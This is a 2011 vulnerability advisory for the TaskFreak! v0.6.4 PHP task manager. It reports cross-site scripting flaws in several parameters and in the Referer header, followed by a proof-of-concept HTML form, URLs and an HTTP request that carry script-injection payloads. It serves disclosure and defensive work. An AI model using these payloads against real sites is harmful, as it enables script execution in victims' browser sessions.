################################################################ TaskFreak! v0.6.4 Multiple Cross-Site Scripting Vulnerabilities Vendor: Stan Ozier Product web page: http://www.taskfreak.com Affected version: 0.6.4 (multi-user) Summary: TaskFreak! Original is a simple but efficient web based task manager written in PHP. Desc: TaskFreak! suffers from multiple XSS vulnerabilities when parsing input to multiple parameters in different scripts. The vulnerable POST parameters are: 'sContext', 'sort', 'dir' and 'show' thru index.php. Also the GET parameters 'dir' and 'show' thru 'print_list.php' are vulnerable. Header variable 'referer' is vulnerable thru rss.php script. Attackers can exploit these weaknesses to execute arbitrary HTML and script code in a user's browser session. Tested on: MS Windows XP Pro SP3-EN, XAMPP (latest) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic Advisory ID: ZSL-2011-4990 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4990 27.01.2011 ################################################################ <script type="text/javascript">function xss(){document.forms["zappa"].submit();}</script> <form name="zappa" action="http://taskfreak/index.php" method="POST" id="zappa"> <input type="hidden" name="sProject" value="0" /> <input type="hidden" name="id" value="" /> <input type="hidden" name="mode" value="save" /> <input type="hidden" name="sContext" value='%22%20onmouseover%3dprompt(/_did_you_smiled_today_?/)%20' /> <input type="hidden" name="sort" value='"><script>alert(1)</script>' /> <input type="hidden" name="dir" value='"><script>alert(2)</script>' /> <input type="hidden" name="show" value='"><script>alert(3)</script>' /> </form> <a href="javascript: xss();" style="text-decoration:none"> <b><font color="red"><center><h3>Exploit!<h3></center></font></b></a> --- http://taskfreak/print_list.php?dir=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E http://taskfreak/print_list.php?show=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E --- GET /taskfreak/rss.php HTTP/1.1 Referer: ">Waddup! User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: localhost Connection: Keep-alive Accept-Encoding: gzip,deflate Accept: */*